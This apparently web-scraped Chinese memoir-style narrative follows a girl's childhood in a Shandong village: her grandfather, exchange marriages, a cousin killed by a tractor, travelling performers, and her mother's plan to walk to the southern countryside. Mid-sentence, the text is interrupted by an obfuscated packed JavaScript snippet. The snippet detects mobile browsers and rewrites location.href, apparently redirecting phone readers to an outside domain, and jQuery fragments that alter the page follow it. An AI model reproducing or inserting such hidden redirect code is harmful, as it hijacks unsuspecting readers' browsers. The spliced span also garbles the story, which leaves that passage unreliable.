爷爷在靠近东院墙那边养了几只兔子。兔笼有两层,上头给兔子住,下头给兔子拉屎。我有空就帮着薅“猫子眼”喂兔子,清理兔笼子里的兔子屎。兔子死了,爷爷就炒兔子肉吃。爷爷炒兔子肉,放上一把我捡来的板栗,加上酱油红烧以后,兔子肉和板栗都熟透了,又香又烂。爷爷把炒好兔子肉的小耳朵锅,端到堂屋进门儿的地方。我们爷俩儿对着小锅,吃兔子肉。来跟我玩的大龙这时候还不走。坐在堂屋门里看。我爷爷就跟他说:“你该回家吃饭了。”我怕爷爷生气,不敢拿兔肉给大龙吃。 冬天的时候,我爷爷居然捡了一头猪。那天早上,清冷清冷的。我放学了,回到爷爷家,推门推不开,大门从里头拴上了。我推了又推,爷爷才出来开了门。我走进天井,发现天井里有一头黑猪。爷爷正忙着杀猪,给猪褪毛。 我爷爷看看我,耷拉着眼皮说: “今天清起,我背着粪箕子去西岭上转悠,不知道谁家扔了一头小死猪儿。我就背回来,煮煮吃了,可不要出去说啊。” 不要出去说的原因,大概是怕别人说穷,又馋鬼贪吃吧。我当然不会出去说。 此后的日子里,爷爷家的饭桌上有了猪肉。都是切成了一小块,一小块的,有的还带着黑色的猪毛。 恰巧大姑来送年礼了。大姑以前来奶奶家,主要是来看望我奶奶的,她并不怎么热爱她的老爹、我的爷爷。我奶奶跑了以后,她还是象征性地来给我爷爷送年礼,平时根本不来。她应该知道我奶奶的去向,只是装作不知道而已。 大姑来送年礼的时候,磕醒着脸,高兴不起来。她也记得爷爷自己吸溜着油油的手指,不给她们吃猪肉的事。 她红着眼睛、酸溜溜地跟隔壁老娄奶奶说:“大奶奶啊,俺爹就这样,就这样”!大姑吸溜儿着手指,学着爷爷旁若无人地独自享受猪肉的下三滥样子。看来,她对她爹以前吃独食不给她们吃猪肉的事儿还是耿耿于怀。看来,她来给她爹送节礼,也是迫不得已。 老娄奶奶劝说着大姑:“她大姐,老的无过天无过,谁叫他是老的呢。” 大姑来给爷爷送年礼,都是带一包煎饼,蒸几个馒头,不买猪肉。 不过这次,爷爷家里有。大姑很少跟我爷爷说话,她总是去隔壁二爷爷家里跟他们说话。 临吃饭的时候,爷爷让我去喊大姑吃饭。 爷爷坐在正北上岗儿上。大姑面朝东,我面朝西。 大姑这次吃地两嘴油油的,很是满意。 我从小跟着爷爷奶奶吃饭,养成了一种习惯。每次吃饱了,就把裤腰带松开,再接着吃。 这回,我大姑也笑着说:“我也跟大省儿学学,把裤腰带松松再吃!” 这一幕,我以前觉得是大姑贪婪。她已经成年,她家明明有钱,却不给俺爷爷买猪肉,还跑到俺爷爷家里吃。可是,我现在想来,我才慢慢顿悟,是俺大姑在俺爷爷那里,从来没有得到一个闺女该得到的宠爱和娇惯。是的,大姑是爷爷的女儿。她吃她爹的几块猪肉又有何妨?可是,不是等到她成家立业,成了半老徐娘,不是等到她爹人老珠黄快完犊子了。她爹还不知道该去疼她这个闺女,给她这个闺女一口肉吃呢。 这是什么父亲?这是什么父和女?乌鸦尚且知道反哺,乌鸦尚且知道哺乳。我爷爷年轻的时候对待他的一堆小儿女,尚且不如一只乌鸦乎?大姑二姑她们对爷爷的凉薄我看地清清楚楚,可是当年,爷爷对她们的残忍我又何曾亲眼目睹?我只知道爷爷吃不上闺女送的猪肉实在可怜,我哪里知道,当年,那个小女孩眼巴巴地看着她的父亲独自吞吃猪肉的时候,她的内心该有多苦? 因果循环。事在人为。父和女之间这辈子填不上的鸿沟,该怪谁? 吃了肉以后,爱害渴,光想喝水。 我爷爷说:“穷人吃顿肉,三天凉水喝不够。穷人吃顿面,三天不离水缸沿!” 猪肉吃多了,还会闹肚子。有一回,我看见爷爷一边往茅房跑,一边说:“肚子里油水少,乍吃顿肉,受不了。” 爷爷闹肚子,我没有闹肚子,大概是他吃地多,我吃地少吧。一头猪,不小啊,除了饭桌上飘着的带着黑猪毛的几块薄薄的猪肉,我好像没有吃多少肉来拉拉馋,更没有吃到什么好肉。那些大块的肉呢?猪蹄子,猪排骨呢?我没见着。大概是爷爷把好肉藏起来自己躲着吃了吧。大姑、二姑说的,她们的爹杀猪自己吃,她们却没吃上猪肉的典故,大概是真的。 3.精卫大姐、王三姐和二裙姑 我们学校大门西边儿一棵大柿子树下,有一个说书的。每逢张庄集,他就来说书。一群老头子围坐在他周围,听地专注、出神。我也常常去那树下徘徊。夏天的时候,那树下落了很多小柿子,青青的,带着浅浅的白色的棱线,顶着黑色的触须,像从说书先生嘴里掉落的一个一个的小故事。说书的端着一个碗收钱了,大家自觉地往碗里投钱,五分的、一毛的,都行。 我妈妈说,说书的脑子转地快。有一个说书的,大清早起来去说书。路上,有一坨牛屎。他一路上,在脑子里转了转,就编了一部书,叫《三打牛屎山》。 我妈妈还说,说书的人不能得罪。有一个人,就是武大郎,他老师对他有过大恩,他让他老师在他家住着,他好生地伺候着。后来,他因为有什么事儿,让他老师误会了,以为他恩将仇报,嫌弃他老师了。他老师就从他家里离开了。路上,他老师写了一部书来拐着弯儿骂他。他发现他老师走了,赶紧去追他老师。等他追上他老师以后,他老师才知道原来是个误会。可是,他老师写的书已经四散开来,想收回都来不及了。 说书的先生可以把旁人的事儿随便编排的。一个说书的先生,在写书的时候,写到关公护着二位嫂嫂不得已投降曹操。曹操奸诈,故意安排关公与二位嫂嫂共处一室。说书先生写到此,本想写关公对嫂嫂大不敬。谁知道先生刚要提笔,那灯就被一阵风吹灭了。先生掌灯再来写,灯火又一次被风吹灭。先生隐约听到耳边有人说话:“先生,手下留情”。先生知道,是关公显灵了。关公忠烈,关公虽死,可他的名节不容亵渎。先生长叹一声,挥笔写下关公秉烛读《春秋》:关公的嫂嫂在里间安歇,关公远远地在外间侍立。待嫂嫂安歇以后。关公拿弹弓帮嫂嫂熄灭灯火。他自己则侍卫在外头,长夜秉烛读《春秋》。 说书人不来的时候,那几个老头儿就搬个板凳坐成一圈儿,让他们中一个认字的老头来读书给他们听。读书的捧着书,撅着花白的胡子,脸上挂着书中人物的笑,慢吞吞地读地仔细,听书的闭着眼睛,撅着花白的胡子,听地入迷。 那时候估计很多人家里,光景都不好,要出来混口吃的。那是下午放学的时候,我走到学校大门口儿。看到张庄前的大街上,来了两个男的,跟我爸爸一样的年纪,跟我爸爸差不多的模样,肩膀上背着袋子,手里抱了琵琶。那时快到饭时儿了,可他们并不急着到别人家的大门儿上去,他们在张庄前的一块高高的大石头垒成的石台子上,坐下来,自顾自地抱着琵琶低头弹唱起来。 “日落西山红霞飞,战士打靶把营归,把营归……” 就在这个地方,我竟然见到了北荆堂的家振二大娘。原来,二大娘家的精卫大姐说亲说到了张庄,男方是张庄大队干部的儿子。 那天,家振大娘一如既往地穿地干净利落,剪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137786|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着“二道毛子”,鬓边上别着一根发卡。 她推着自行车,嘴里夹着香烟,跟亲家道了别,飞身上了她的单车,威风凛凛地从亲家送别的队列前冲过,意气风发地向前飞去,像是去参加一个飞车比赛。 我看着了她,叫她一声“二大娘”,她“嗯”了一声,从我身边飞驰而过。那棵大柿树底下,是一个小陡坡儿,二大娘像骑着一头牛似的骑着她的单车,冲上陡坡。她双手攥着车把,朝右一歪头儿,“噗”地一声吐出嘴里的烟把儿,又风驰电掣地顺着张庄前头的大路,直奔荆堂奔去了。姑娘说亲说给了张庄大队书记的儿子,这是件荣耀的事。自家闺女寻了这样一门好亲事,二大娘作为老母亲,也是志得意满,踌躇满志。 家振二大娘性格很好强。我亲眼看过她跟她的亲妯娌,家兴大娘,两个人,在她们的婆婆家的天井里骂架。她们妯娌两个已然是都上了岁数,快要当奶奶了。她们的老婆婆更是垂垂老矣,管不了她们了。她们两个激烈地骂战,她们的婆婆,一个为人很老实的老太太,顶着满头的白发,站在一边,紧闭着双眼“听战”。 家兴大大娘头发已经花白,嗓子嘶哑,为人比较老实,她家里只有两个闺女,没有儿子。大闺女在家里招的女婿,生了个男孩儿叫“交托”。我们那时候不知道“交托”的意思,只觉得这个名字真是奇怪,荆堂的小孩儿都叫他“胶拖鞋”。家振二大娘精明强干,口齿伶俐,家有一儿一女。两个大娘骂架,论嘴力和体力,大大娘都不是二大娘的对手。可是论对错,说不上是谁对谁错。精明强干的人固然强势,可是头脑不太精明的人也有她的昏昧和固执。 大大娘拿着铁耙子,面向西,站在二大娘跟前,不停地弯腰低头,像耙柴禾一样,把铁耙子往地上耙着,比划着,嘶哑着嗓子冲着二大娘骂:“你个昏了心的女人!我弄死你!砍死你!把你剁八瓣儿!”大大娘手里的铁耙子,早就用地快要散架儿了,它现在摇摇晃晃,颤颤巍巍,头上只有十来个铁条儿弯成的齿儿,即使朝谁砸去,吃上她一耙,也没有什么杀伤力和破坏力。 二大娘压根儿没把大大娘放在眼里。二大娘面朝东坐着,大腿翘在二腿上,左手把着一杆铁锨,右手托着一个青苹果,抬起脸儿,边朝着大大娘得意洋洋地啃着,边跟大大娘对骂:“砍死你!砍死你个鬼东西!”因为根本没把大大娘当回事儿,所以二大娘的音量和火力反而比大大娘的小地多。 大大娘突然出击,轮起铁耙子就朝二大娘砸去。二大娘“蹭”地一下站起身,奋起直追,把大大娘追地冒跑。 农村人,有些地方的农村人,男人,还有女人,会吵架,会骂架,好像是打小就有的天生的本事。生就的骨头,长就的肉儿。这是基因里自带的,这是长年累月地熏陶造就的。我那时候直到现在也说不清,这是一种陋习,还是一种生存的技能。或者说,长此以往,成了一种传统和传承。 二大娘有空儿还是做豆腐,做好了豆腐,自己推着小车,在南北荆堂转着卖豆腐。她做的豆腐平平整整,干干净净,技术和质量都是上乘。 男方家就在我们小学校门口。我上学的时候,也见过精卫姐姐站在她婆家门口的样子。她穿着粉色的喇叭花袖口儿的连衣裙,亭亭玉立,紧闭的朱唇,扭成石榴花的模样。 那时候,我一度怀疑。人家不上学就能嫁给大队书记的儿子,这可是一步登天,登峰造极了。像我们这样苦哈哈地上学的,到底还有什么意义啊? 可是有一天,当我放学回到家的时候,我爷爷跟我说:“精卫大姐死了。” 我当时一愣,不敢相信这是真的。一个如花似玉的精卫大姐怎么就这样殒没了。 “啊?真的?怎么死的?”我问。 我爷爷说:“精卫走婆家的时候,跟着她对象去拉沙子。半路上,她嘴里叼着的一袋子饼干掉下去了。她没跟她对象说,自己不吱拉声儿地从拖拉机上跳下来,想去把那袋子饼干捡起来的。她对象只顾着开拖拉机,不知道她跳下去了,直接从她身上开过去了。” “天呐!”我说,“太可怜了!多可惜啊!我都不敢相信这是真的!” “是真的!大侄女儿!”站在我跟前的大伟说,“她对象下来一看,精卫半个身子都被碾过去了。她对象抱着她吓得哇哇地哭。” “精卫大姐现在搁哪儿呢?” 我看着我爷爷家的东墙头和锅屋,呆呆地说。 “早埋了!埋在北荆堂的梨行里。”我爷爷说。 “你去看看去吧?大侄女儿!我带你去!”大伟说。 “我不敢去!那儿有吊死鬼!以前经常有女人搁哪里上吊!”我说。 精卫大姐埋在了北荆堂的梨行里。不知怎的,我一听说梨行这个地方,心里就有些别样的阴郁。爸爸小时候不是在梨行捡梨吃,害得他肚子疼吗,爸爸也曾带着我去梨行摘柿子。梨行应该是美的。可是梨行也是阴森的。曾经有个受了气上吊的女人,就吊死在梨行了。听说,她的脸已经跟紫茄子一样了,舌头不知道有没有伸出来。有些上吊的女人学精了,上吊的时候,为了不让舌头吐出来难看,就事先在自己的嘴里塞上手捏子,也就是手帕。 一大早,我们去上学的公路边儿上,二大娘精神萎靡地蹲在路旁。旁边是她的丈夫和小儿子。家振大娘要去跟她的亲家打官司。家振大娘跟她的亲家反目成仇了。 家振大娘该有多伤心啊。她从一只展翅的雄鹰,陡然间,变成了一只萎靡不振奄奄一息的老母鸡。她的闺女被人给害死了,她的心被生生地给割了去。我明白她心里的火光不会灭。我知道她的心里肯定有怒火。她对女儿有多爱,对对方就有多恨。她要去打官司,她要去告状,她要让害她女儿的人家倾家荡产,坐牢,赔偿。 跟我一起上学的小姑娘说,二大娘看见我们这些小姑娘,恐怕是心里更难过了。 漂亮的姑娘,还是源源不断地朝张庄输送。南荆堂家前徐家的大姐姐,坐着未婚夫的摩托车,路过家东,向张庄飞驰而去。大姐姐的脸如出水芙蓉,粉粉的、白白的,她安心地坐在未婚夫的车后座上,一朵娇花一样,对未来的生活充满了向往。她的爹,就在家东的梧桐树下,看人家打台球。许是嫌人多吧,她们两个飞驰而过的时候,并不跟她爹打招呼。她的爹,也不在乎,看着闺女、姑爷飞驰而去,老父亲默默无语,刚喝完酒的脸上显现出幸福、满足的酒红色。 我跟宋大秀约好了星期天的下午一起去白山摘酸枣子。星期天下午,我跟我爷爷说了一声儿,拿了一个红色的塑料笊篱,就一个人去了白山。我爷爷其实是不太同意的,可是我坚持要去,他也就不再拦着。 我沿着上学的路一直走到了奔张庄的那条三叉路口儿。左边是往白山去的路,右边是往张庄去的路。身后退回去就是荆堂。我的正前方,穿过公路,穿过张庄庄东头的那片原野,就是白山了。我跨过公路,跳进公路北面满是枯枝败叶的沟渠,再爬上对面的田地,一路沿着人家的地头儿,直到了白山脚下。 这儿,是青白的山石,一块块匍匐在我的身边、脚下。我可喜欢了。这些都是货真价实的青石啊。山上的果木叶子都变黄了,发红了,也快落尽了。那树上的树叶稀稀疏疏的,像是用血红色的丝线绣在枝条上。那些俯卧着的石头的耳朵眼儿里,钻出来一丛丛的小树。那些石头缝儿里,再往里,不知道潜伏着什么山猫野兽了。蛇也是有的。纺织娘也是有的。再有的,我看不见的精怪也是有的。我自己在那儿,也不害怕,也不知道害怕。 山坡上的酸枣树上,星星点点的,都是酸枣子。秋天的酸枣子,比酸枣树上的树叶还要多。我瞅着那些酸枣子,一个个儿一把把儿地摘着。我绕着树摘,摘完了这面,再摘那面。这一棵树上挑地差不多了,再换另一棵酸枣树,继续摘。那些酸枣子躺在我的笊篱里,红艳艳地,仿佛整个秋天都躺在我的笊篱里了。 没过多大功夫,宋大秀果然也到了。那个时候,没有电话,我们就凭着一句话,就差不多同时到达了。 我跟宋大秀一起逛逛,摘摘酸枣子,看看山坡的风光。这样的风光在我们的童年并不是多么罕见。我们没想到的是,我们的身后,远远的,李东还有他们庄上的几个小男孩儿也到了。他们在离我们不远的地方走着。李东这个人毕竟是我们的同学兼班长,他还是很稳重的。他不会跟那几个男孩子说我们什么。倒是我们,想跟他说点儿什么。我们往那石头缝儿里看了看,石头缝儿里好像卧着一条青白色的蛇。我们回头跟李东他们说:“喂!要小心呢,这儿,石头缝儿里有蛇!”李东他们闻听此言,并不激动地跑过来,他远远地跟我们说:“知道。有蛇不是很正常吗?” 傍晚,回到家,庄里来了耍把戏的。耍猴子的牵着一只金黄的小猴子在大龙家门前逗着。耍棍子的父子三人也来了。先是父女俩儿耍棍子,父女俩儿各自拿着根长长白白的棍子,在大街上打架。父女俩儿的棍子横着打,竖着打,斜着打,换着花样儿打,棍子跟棍子之间打地“康康”直响。我看的出来,那些耍棍子的招数儿,肯定是他们在家里的时候就练好了的。所以打来打去,总是打不到人。否则,那么长长的棍子,打在人的身上,可是疼的很呢。闺女的棍子总是比父亲的凌厉,父亲总是装作像是招架不住的样子,连连后退。 “哎哟,你看看,这个小丫头,她老父亲打不过她了!”耍棍子的老头儿说。 接下来要表演胸口碎大石了。大石头已经准备好了。老汉的小儿子腰里的腰带也扎好了。 “别让俺弟弟上了!我来吧!”大闺女说。 “恁都别上,我来!”老父亲说。老父亲扎起马步,运起气功。然后躺在地上,一块大石头放在他的胸口儿上。大闺女拿起棍子,朝着那块大石头,一棍子夯下去,那块大石头应声儿开裂。这棍子下去是要讲究技巧的,太轻了,砸不开石头,太重了,会伤着石头底下的老爹。围观的人笑笑,有的称赞这老头儿的气功真厉害。有的半信半疑,跟众人说:“这石头肯定是有缝儿,不然不会一棍子下去就裂开了。” 有的是一个人吞刀子,吞铁球,又把那刀子、铁球从嘴里吐出来。还有的吞纸筒,然后又把那纸筒给吐出来,像放炮仗似地炸开了,落了一地的碎纸片片。 有的是一伙儿人,年长一点的大哥把着年幼一点的小兄弟的胳膊,像是转拖拉机的摇把儿一样,把那个小兄弟的胳膊给转了个大圈儿,小兄弟惨叫一声儿,两条胳膊被卸掉了,他整个人瞬间萎靡了下去,他耷拉着脑袋,垂着两个膀子,蹲在地上,像是一个死囚犯。那个小兄弟是他的亲兄弟吗?还是只是跟着这个大哥混口饭吃呢?我不得而知。年长的大哥已经成家了,旁边是他的老婆和孩子。过了一会儿,那年长的又去把那个小兄弟的胳膊给装上,那个小兄弟瞬间又恢复了生动的模样儿,若无其事了。 年长一点儿的大哥自己喝上汽油表演吐火了。他朝着手里的火把喷,那火像是从他的嘴里喷出来。 他吐完火,开始向围观的父老乡亲“齐钱”: “兄弟娘们儿,老少爷们儿,给口吃的吧,我们一天都没吃饭了!”听他的口音,不是本地人,不知道是哪里的。观众或是出钱,或是回家拿几个煎饼,可怜人家远道而来,拖家带口混口饭吃。 我站在宗雨家墙外,面朝东,看着我矮墩墩的二裙姑拿着一沓子煎饼从人群里走出来,面朝北,朝着耍把戏的那堆人走去。那时是晚上,我只看见她背后的大辫子,看不清她的脸。二姑手里的那沓子煎饼很白很香,厚厚的一沓子。要是在平时,二裙姑还舍不得拿那么多的煎饼给我吃呢。她连一张煎饼也没舍得给过我。为什么对这些耍把戏的,她这么大方呢?是她自己要拿了煎饼给那些耍把戏的?还是二爷爷二奶奶让她拿了那些煎饼给耍把戏的呢?是二爷爷一家子本来就这么积德行善呢?还是二爷爷二奶奶故意要做给庄亲世邻看,好让人家多给他家说儿媳妇呢?还是二姑这未出阁的老闺女,对这些走南闯北的江湖好汉,本来就充满了不可言说的好感呢?我不知道。这些耍把戏的表演家在我们庄表演完,就转战别的庄上了。 我头天晚上刚看过他们的表演,第二天上学路上,又遇见他们了。走在前头的是一个年轻的小伙子,手里拿着装东西的袋子。那个昨天晚上卸胳膊的更小一点的小伙子,膀子早就装上了,没有了当时卸胳膊的痛苦摸样。二人结结实实、精精神神地,向别的村走去。那个年长一点的大哥,穿着黄色的舞狮子的灯笼裤子,像个长胖了的孙悟空,趾高气昂,走在最后头,旁边跟着他的妻子和孩子。大哥结婚了,老二、老三呢? 王四结婚了,王三姐同一天出嫁。因为是换亲。三家转。三家同时办喜事,三家的儿女同时嫁娶。三对儿新人之中,就数王三姐的对象年纪最大,长她十岁。听说出嫁的时候,王三姐哭地很厉害,一声爹来,一声娘。王四也是痛哭流涕,哭着要给妹妹下跪。荆堂庄上的人看了那场婚礼,无不心酸落泪。 王三姐嫁到了北山里,大香去送了亲。 星期天,吃完早饭,我去大香家里串门儿,我面朝东,坐在她家的椅子上,看着她们一家子吃饭。大香跟她娘说着给王三姐送亲的事,脸上满是鄙夷的神色。 大香说:“王三妮儿去的那家,那个男人都快四十了,脾气还怪大。人家让他吃生饺子,他还不想吃,还生气。王三妮儿的日子以后肯定不好过。” 她娘说:“三家子转的,哪能恁么合适哎。王四儿的媳妇跟王四儿年纪差不多,两个人一块儿去干活儿,同来同往,嬉打哗笑地,还怪般配。” 大香说:“娘,她这叫什么?转亲?” 她娘说:“嗯,转亲。三家子,你到我家来,我到他家去。” 大香说:“这样的事儿还怪难对付来。上哪找恁么合适的三家子去。” 她娘说:“一般的都是换亲。像这样三家子转的,还怪少。” 大香说:“娘,二裙就是留着换亲的哈。” 她娘说:“嗯。” 大香说:“你说她急得慌吧?到这还留着不让走,她都快四十了吧?” 她娘说:“怎不急的?俺听她娘说的,二裙一个人躲在家里吸烟,地上扔了一摊子烟把儿。” 大香说:“恁以后可得好好挣钱给俺兄弟说媳妇。我可不给他换!换的都不合适。” 她娘笑笑说:“俺要是说不起呢?你不也得给恁兄弟换啊?” 大香他爹说:“俺才不恁姐给咱换,是吧?儿?” 大伟冲着他姐说:“我,我才不稀罕你换!你,你,你,你爱死哪死哪儿!” 正说着,王三姐来大香家串门了。她今天回门。大香让王三姐坐在我右手边的板凳上,王三姐笑嘻嘻地坐下来。她穿着粉蓝色格子的西装样式的褂子,用她那一贯沙哑的声音跟大香说话,脸上有些白胖,并没有大香说的该有的颓丧与悲伤。 原本就是北山里的女子,这回又被迫嫁到了更北边儿。还是一个大自己十来岁的男人。为了自己兄弟的姻亲后代,这种苦也得强忍着往下咽。你要相信,人世间所有的苦,忍着忍着,也就会慢慢习惯。这以后,王三姐肯定是生下一男半女了,还会生两个三个,这以后,她原本不心甘情愿的丈夫跟她也就成了一家子了。她不仅不会盼他死,还会盼他长命百岁地活着。这以后,她和她的儿女,可都得指望他呢。 二奶奶家的二裙姑也是被用来换亲用的。二姑跟她家的人一样,矮矮的,胖墩墩,皮肤黄里带红,留着一条黝黑的大辫子,说起话来,嗓门儿很大,冲冲的,跟吃了枪药似的。二姑很能干,家里活儿、地里活儿,样样不差。二姑得空儿,就挑起两个圆箩筐,去板栗行拾柴禾。箩筐里堆满了板栗树叶,二姑挑起来晃晃悠悠地走着。二姑被埋进柴禾里。只见其筐,不见二姑娘。 二姑每天忙活个不停,闲了就坐在小杨树底下,跟一群嫂子大娘一起说着话,拿着麻绳儿在大腿上搓麻绳,纳鞋底。一条条的麻绳对着大腿肚子搓上去,大腿上留下一个个小红点子。 二姑手巧,不仅会搓麻绳纳鞋底儿,还会绣鞋垫子。二姑鞋垫子上的绣花跟我妈妈的不同。我妈妈的绣花,横线线竖线线斜线线,看地清清楚楚。二姑的绣花看不出线条,都是用无数的针眼儿构成的针脚儿,浑然天成,像用现成的绒布剪成的花朵。 村西徐姓的两个漂亮姐妹,经常拿着鞋垫子,来到二奶奶家门前,跟二姑切磋手艺。她们两个大姑娘,梳着大辫子,脸色白白,腮上是天然的微红,穿着白色的衣裳,衣袂飘飘,不声不响。她们来到二奶奶门前,也不进门儿,就在大门儿外,跟二姑交流鞋垫子的绣法儿。二姑站在门儿里跟她们说话,别人听不清她们说什么。两姊妹不声不响,文文静静,像观世音菩萨在上门儿点化众生。 二姑年纪不小,还没有出嫁,娘家一直留着。我一直觉得二姑脾气不小,也是个刚烈的女人,怎么可以那么听话。又觉得二姑之所以嗓门儿大,口气冲,也许是因为顶着天大的委屈的缘故吧。 二姑给三叔换了亲,换的是王庄的人家。三婶子白白净净,跟三叔般配。二姑夫黄黄黑黑,跟二姑也般配。 一次,我坐在爷爷家门口小杨树底下,二姑摸着我的后背说:“你看大省,脊梁骨上全是肉,跟小猪儿一样”! 二姑又笑着说:“等以后你去上初中了,让恁二姑夫带你去家里吃饭。”二姑待字闺中这么多年,一朝得嫁,脸上也有了不一样的满足的笑容。 后来二姑怀孕了,但是生出来不久就没了。 二奶奶对三婶子也不满意,说她在地里干活,回家喝茶的空儿,就把碟子里的白菜,就着茶吃光了。半夜里,经常听到三叔、三婶子“扑通!扑通!”打骂的声音。 二姑婆家也开始闹了。听说有一次,二姑二姑夫在大棚地里干活,二姑夫把二姑按在大棚地里,苦打了一顿。换亲的两亲家一旦闹起来,都是此起彼伏的。因为或是男方或是女方,都要为自己的家人报仇争气。原来,人跟自家人、跟自己的血亲才是最亲的。这婚姻,对男女来说,就是狗屁。 不久,二姑又生孩子了。因为总是留不住,这一次生的闺女叫“栓”,山东话叫做“帆”。很胖很大的一个小丫头,可惜又没有保住。二爷爷用粪箕子背着扔到文峰山脚下了。三婶子也开始恶心、呕吐,三叔带着她去医院检查,检查回来的结果是害喜。 “医生说了,是怀孕了,怀孕引起的区吐!”三叔跟老娄奶奶说。老娄奶奶坐在三叔门前的小杨树底下,笑盈盈地听着。三婶子后来生了个白白胖胖的小女孩。还是没挡住离婚。 二姑、二姑夫,三叔、三婶子都在闹离婚。 二姑夫的离婚协议书送到了二奶奶家门儿上,二姑走出来签字的时候,手都在抖。不知道三婶子那个刚出生的小女孩儿怎么办。生下来就爹离娘散,真可怜。 大人成了换亲的牺牲品,为什么要让小孩子也跟着受罪? 为了舅舅一个人,坑了妹妹,又害了外甥。这该死的舅舅!这该死的婚姻! 后来,三叔又说了一个北山里的姑娘。个子还好,相貌还好,眼睛大大的。就是有些显老,不如原来那个三婶子白嫩。 那时候,她们还没结婚。新三婶子走婆家,就跟着婆婆睡。该准备睡觉了,三叔给她打了洗脚水,放在她面前。二姑在旁边,也不怎么说话。二姑这回要嫁到她家去。北山里很远吧,远地让我想象不出一个具体的地点。这次,我不知道二姑,要嫁到哪里了。二姑这以后的命运,又会是什么样儿的呢。我那刚出生就缺爹少娘的可怜的小妹妹,跟着她可怜的娘去了哪里呢? 为什么没有人为孩子着想?是谁根本不为孩子着想?这天大的罪过算在谁的头上? 13. 我们娘儿四个去南乡 1.我们娘儿四个去南乡 就要小学毕业了,安老师把我从教室里喊出来:“宋大省,我给恁袁老师一块儿给你买了身裙子,你留着上初中的时候穿。陶校长给你十块钱。你以后要好好学习。” 我说:“谢谢老师,我知道了。” 我把衣服拿到爷爷家里,关上屋门,在屋里穿上,走到天井里,跟我爷爷说:“爷爷,这是俺安老师给买的裙子!” “嗯!”我爷爷没怎么吭声儿。安老师也教过我三叔,我爷爷也知道安老师。 我看看那裙子,是好看的橙色,还是上下两件衣裳组成的套装,上身是件短袖,下身是个套裙。上衣的两个袖子,和裙子的两个裤兜上,是条纹蓝的小绳子系成的蝴蝶结,小绳子上还拴着木头做的小铃铛,走起路来,那一串木头做的小铃铛晃浪晃浪的。 过了几天,蔡老师在教室门外头喊我。我从教室里走了出来,蔡老师把五块钱递给我,微笑着跟我说:“宋大省,你要去上初中了。老师也没多少钱,给你五块钱。你留着上学喝茶。” 我接过蔡老师的五块钱,跟他说:“谢谢老师!” 蔡老师说:“不用谢!回去上课吧。好好学习!” 不知道为什么,蔡老师给我的五块钱,我特别感动。因为蔡老师还年轻,还要养家糊口。还因为蔡老师的女儿还小,跟我妹妹差不多大,蔡老师经常在他的自行车前头的大梁上带着她。 夏天到了,我们撺掇着我妈妈带我们去挖知了。去哪里呢,南荆堂东头有一片杨树林,平日里我们上学也走那里。那是一片沙土地,里头还有一些小的板栗树。我有时候上学路过那里,如果时间还早的话,我就去找个两股树杈的小树,扒着两个树杈子,跳跃着,翻上几个倒滚儿。 这片杨树林,在夏日的晴天里,可是蝉的王国,成阵的蝉鸣,一阵儿一阵儿地,在人的耳边叫嚷个不停。我们是在大雨过后来的,阴呼啦的小天儿,没有刺眼的太阳,也没有吵人的蝉鸣,雨后的杨树林清新而宁静。我们分散开来,在自己选定的一方土地上挖起来。那已经不是平时的挖知了龟找乐子,而是一支专业挖知了龟的小分队。我们收获了很多知了龟,大概有七八十只。回家以后,妈妈炒熟了,满满当当一大盆端上桌,又没有多少油,我们吃着,居然没有以前只炒几只知了龟那么香了。 我的小学是五年制,从来没有接触过英文字母。升初中的那年暑假,人家都去报了暑假补习班,早早熟悉英语,我因为家里穷,妈妈也不知道重视,就让我跟她一起去南乡。 我妈妈跟我说:“你放暑假了。我带你跟鸿雁去南乡吧?把笑笑搁在家里,跟着恁爷爷。” 我说:“你不把俺小妹带上的?” 我妈妈说:“一百多里地的路,咱全靠走着去。恁妹妹太小了,不能走路。让她跟着恁爷爷是的。” 我看了看我妹妹,我妹妹还小,什么都不知道,不哭也不闹。 我说:“妈,咱把俺小妹一块儿带上吧。” 我妈妈说:“不能带,路上太受罪了。天热。怎么弄啊?我一个人走都怪费劲儿了,我还得驮着她啊?” 我说:“我骑洋车子带着她。” 我妈妈说:“你带着她,还有恁小弟来。恁小弟怎么办了?他也小。” 我说:“我带着。” 我妈妈说:“咱家就一辆洋车子,你怎么带?我又不会骑洋车子。” 我说:“我带上一个往前走走,靠路边儿放下,再去带另一个。” 我妈妈说:“说的容易做的难。到时候你一累,你就能够了。一百里的路,不是闹着玩的。” 我说:“我不嫌累。咱把俺小妹带上吧。” 我妈妈说:“俺不听你的!俺不能带!太远了,路上太受罪了。” 我说:“咱把俺小妹带上吧?你不带她,她自己搁家里跟着俺爷爷,多可怜啊?” 我妈妈说:“她搁家里跟着恁爷爷,有吃有喝的,可怜什么的?俺不带!你要是觉得她可怜,你也别去了!” 我说:“我去!俺小妹也去!” 我妈妈说:“不能带!我说不行就是不行!” 我看着我妹妹,想着我妹妹一个人在爷爷家孤孤单单的样子。我心疼地哭了。我坐在我家石台子前头,哭地兀兀陶陶,哭红了眼睛,哭红了脸。 “我舍不得俺小妹!我想把俺小妹带上。俺小妹到时候一个人搁家也会想我。她到时候想我怎么办?”我哭着说。 我妈妈在天井里走来走去,忙着干她的家务。不理我。 “俺小妹一个小孩儿搁家多可怜啊!你怎么不带她的,她不是你的小孩儿吗?”我哭着说。 我妈妈进屋继续忙她的,还是不理我。 我跟着她进了屋,继续哭。 “俺爷爷不疼她。咱把俺小妹带上。一块儿去,到南乡,俺好一块儿玩!”我哭着说。 我妈妈从屋里又到天井里,还是不理我。 “妈,你把俺小妹带上!”我冲着俺妈妈说。 “不能带!不能听你的!路上那个受罪呢的!”我妈妈坚决拒绝我说。 “妈,咱把俺小妹带上吧,跟咱一块儿去!”我哭着说,“咱都走了,她一个小孩儿,搁家怎么办?她要是哭着找大姐找妈妈怎么办?” “恁么远的路,一个人走路都费劲儿了。怎么带她啊?有她赘着,咱别一天到不了了。”我妈妈说。 “能到!你自己走都能走到。我骑车子带着她怎么走不到的?肯定能到!”我说。 